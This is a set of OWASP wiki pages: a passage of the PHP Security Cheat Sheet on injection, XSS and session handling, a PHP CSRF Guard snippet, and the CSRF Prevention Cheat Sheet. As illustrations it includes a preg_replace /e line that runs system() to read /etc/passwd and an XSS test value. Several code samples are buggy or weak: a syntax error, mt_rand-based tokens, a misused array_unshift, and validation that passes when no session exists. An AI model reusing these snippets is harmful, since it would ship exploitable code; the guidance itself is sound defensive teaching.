When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell. In this scenarios, you can mitigate XSS by simply using the function below. '''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data without exposing it too much against XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

The advantage of following a white-list approach is that the programmer should be less prone to forget about using a function call to clean the output of a variable.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP CSRF Guard

2012-08-27T16:57:31Z

Luke Plant:

=Code Snippet=

If you need to protect against CSRF attacks in your code, this little helper can reduce the risk:

session_start(); //if you are copying this code, this line makes it work.

function store_in_session($key,$value)
{
if (isset($_SESSION))
{
$_SESSION[$key]=$value;
}
}
function unset_session($key)
{
$_SESSION[$key])='';
unset($_SESSION[$key]);
}
function get_from_session($key)
{
if (isset($_SESSION))
{
return $_SESSION[$key];
}
else { return false; } //no session data, no CSRF risk
}

function csrfguard_generate_token($unique_form_name)
{
if (function_exists("hash_algos") and in_array("sha512",hash_algos()))
{
$token=hash("sha512",mt_rand(0,mt_getrandmax()));
}
else
{
$token='';
for ($i=0;$i<128;++$i)
{
$r=mt_rand(0,35);
if ($r<26)
{
$c=chr(ord('a')+$r);
}
else
{
$c=chr(ord('0')+$r-26);
}
$token.=$c;
}
}
store_in_session($unique_form_name,$token);
return $token;
}
function csrfguard_validate_token($unique_form_name,$token_value)
{
$token=get_from_session($unique_form_name);
if ($token===false)
{
return true;
}
elseif ($token==$token_value)
{
$result=true;
}
else
{
$result=false;
}
unset_session($unique_form_name);
return $result;
}

function csrfguard_replace_forms($form_data_html)
{
$count=preg_match_all("/<form(.*?)>(.*?)<\\/form>/is",$form_data_html,$matches,PREG_SET_ORDER);
if (is_array($matches))
{
foreach ($matches as $m)
{
if (strpos($m[1],"nocsrf")!==false) { continue; }
$name="CSRFGuard_".mt_rand(0,mt_getrandmax());
$token=csrfguard_generate_token($name);
$form_data_html=str_replace($m[0],
"<form{$m[1]}>
<input type='hidden' name='CSRFName' value='{$name}' />
<input type='hidden' name='CSRFToken' value='{$token}' />{$m[2]}</form>",$form_data_html);
}
}
return $form_data_html;
}

function csrfguard_inject()
{
$data=ob_get_clean();
$data=csrfguard_replace_forms($data);
echo $data;
}
function csrfguard_start()
{
if (count($_POST))
{
if (!isset($_POST['CSRFName']))
{
trigger_error("No CSRFName found, probable invalid request.",E_USER_ERROR);
}
$name =$_POST['CSRFName'];
$token=$_POST['CSRFToken'];
if (!csrfguard_validate_token($name, $token))
{
trigger_error("Invalid CSRF token.",E_USER_ERROR);
}
}
ob_start();
register_shutdown_function(csrfguard_inject);
}
csrfguard_start();

=Description and Usage=
The first three functions, are an abstraction over how session variables are stored. Replace them if you don't use native PHP sessions.

The '''generate''' function, creates a random secure one-time CSRF token. If SHA512 is available, it is used, otherwise a 512 bit random string in the same format is generated. This function also stores the generated token under a unique name in session variable.

The '''validate''' function, checks under the unique name for the token. There are three states:
* Sessions not active: validate succeeds (no CSRF risk)
* Token found but not the same, or token not found: validation fails
* Token found and the same: validation succeeds
Either case, this function removes the token from sessions, ensuring one-timeness.

The '''replace''' function, receives a portion of html data, finds all <form> occurrences and adds two hidden fields to them: CSRFName and CSRFToken. If any of these forms has an attribute or value '''''nocsrf'''''', the addition won't be performed (note that using default inject and detect breaks with this).

The other two functions, '''inject''' and '''start''' are a demonstration of how to use the other functions. Using output buffering on your entire output is not recommended (some libraries might dump output buffering). This default behavior, enforces CSRF tokens on all forms using POST method. It is assumed that no sensitive operations with GET method are performed in the application, as required by [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616].

To test this code, append the following HTML to it:

<form method='post'>
<input type='text' name='test' value='<?php echo "testing"?>' />
<input type='submit' />
</form>

<form class='nocsrf'>
</form>

=Author and License=
This piece of code is by [mailto:abbas.naderi@owasp.org Abbas Naderi Afooshteh] from OWASP under Creative Commons 3.0 License.

Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2012-08-27T16:55:06Z

Luke Plant:

= Introduction =

Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.

Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).

For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.

= Prevention Measures That Do NOT Work =

'''Using a Secret Cookie'''

Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

'''Only Accepting POST Requests'''

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

'''Multi-Step Transactions'''

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

'''URL Rewriting'''

This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.

= General Recommendation: Synchronizer Token Pattern =

In order to facilitate a "transparent but visible" CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random "challenge" tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.

When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as "CSRFToken". The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
MGYwMGEwOA==">
…
</form>

In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.

To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the "Back" button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.

=== Disclosure of Token in URL ===

Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site.

In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from javascript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Timeouts on CSRF tokens are very unlikely to help this attack scenario.

The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.

In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to "HttpServletRequest.getParameter" will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.

For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.

=== Viewstate (ASP.NET) ===

ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a <form runat="server"> control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF.

To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)

protected override OnInit(EventArgs e) {
base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }

The following keys the Viewstate to an individual using a unique value of your choice.

(Page.ViewStateUserKey)

This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.

However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism. Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.

=== Double Submit Cookies ===

Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.

While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.

[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.

=== Prevention Frameworks ===

There are CSRF prevention modules available for J2EE, .Net, and PHP.

[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]

The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session.

'''Similar Projects'''

CSRFGuard has been implemented in other languages besides Java. They are:

*[[PHP CSRF Guard]]
*[[.Net CSRF Guard]]

== Challenge-Response ==

Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.

*CAPTCHA
*Re-Authentication (password)
*One-time Token

While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.

= Checking The Referer Header =
Although it is trivial to spoof the referer header on your own browser, it is impossible to do so in a CSRF attack. Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state. This makes a referer a useful method of CSRF prevention when memory is scarce.

However, checking the referer is considered to be a weaker from of CSRF protection. For example, open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check. It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification.

There are also common implementation mistakes with referer checks. For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted. In this case the lack of a referer should be considered to be an attack when the request is performing a state change. Also note that the attacker has limited influence over the referer. For example, if the victim's domain is "site.com" then an attacker have the CSRF exploit originate from "site.com.attacker.com" which may fool a broken referer check implementation. XSS can be used to bypass a referer check.

= Checking The Origin Header =
The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] was introduced as a method of defending against CSRF and other Cross-Domain attacks. Unlike the referer, the origin will be present in HTTP request that originates from an HTTPS url.

If the origin header is present, then it should be checked for consistency.

= Client/User Prevention =

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include:

* Logoff immediately after using a Web application
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing).
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit. This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually.

Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

= No Cross-Site Scripting (XSS) Vulnerabilities =

Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks can be used to defeat token, referer and origin based CSRF defenses, This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.

= Related Articles =

'''Cross-Site Request Forgery (CSRF)'''

For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.

'''How to Review Code for CSRF Vulnerabilities'''

See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]].

'''How to Test for CSRF Vulnerabilities'''

See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]].

'''CSRF Testing Tool'''

Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java.

= References =

[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]

[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

= Authors and Primary Editors =

Paul Petefish - paulpetefish[at]solutionary.com<br/>
